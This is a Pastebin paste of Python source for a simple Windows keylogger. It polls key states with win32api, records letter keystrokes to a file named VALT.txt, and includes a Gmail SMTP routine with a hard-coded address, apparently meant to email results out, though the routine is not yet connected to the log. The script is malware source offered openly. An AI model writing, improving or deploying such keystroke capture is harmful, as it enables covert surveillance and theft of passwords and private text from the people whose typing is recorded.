Advertisement
Guest User

Untitled

a guest
Jul 26th, 2017
499
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.58 KB | None | 0 0
  1. import win32api
  2.  
  3. def name_return():
  4. #Will return computer str name
  5. return(win32api.GetComputerName())
  6.  
  7.  
  8. def send_email():
  9. import smtplib
  10. from email.MIMEMultipart import MIMEMultipart
  11. from email.MIMEText import MIMEText
  12. msg = MIMEMultipart()
  13. msg['From'] = 'back.seat.driver.1492@gmail.com'
  14. msg['To'] = 'back.seat.driver.1492@gmail.com'
  15. msg['Subject'] = 'simple email in python'
  16. message = 'here is the email'
  17. msg.attach(MIMEText(message))
  18. mailserver = smtplib.SMTP('smtp.gmail.com',587)
  19. # identify ourselves to smtp gmail client
  20. mailserver.ehlo()
  21. # secure our email with tls encryption
  22. mailserver.starttls()
  23. # re-identify ourselves as an encrypted connection
  24. mailserver.ehlo()
  25. mailserver.login('back.seat.driver.1492@gmail.com', '')
  26. mailserver.sendmail('back.seat.driver.1492@gmail.com','back.seat.driver.1492@gmail.com',msg.as_string())
  27. mailserver.quit()
  28.  
  29. def write():
  30. with open("VALT.txt", "w") as f:
  31. for i in reg:
  32. f.write(str(i) + "\n")
  33.  
  34.  
  35.  
  36. #Method will by pass need for pyhook
  37. reg=[None]
  38. while True==True:
  39. insert=[reg[-1]]
  40. for i in range(65,91):
  41. if win32api.GetAsyncKeyState(i) < 0:
  42. if insert[0]!=i:
  43. insert[0]=i
  44. if insert[0]!=reg[-1]:
  45. reg.append(insert[0])
  46. write()
  47.  
  48.  
  49. ##from subprocess import Popen
  50. ##p=Popen("test.bat",cwd=r"C:\Anaconda3")
  51.  
  52. #To Open
  53. ##def open_return():
  54. ## to_return=[]
  55. ## with open("VALT.py","r") as f:
  56. ## for line in f:
  57. ## to_return.append(line.strip())
  58. ## return(to_return)
  59. ##
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement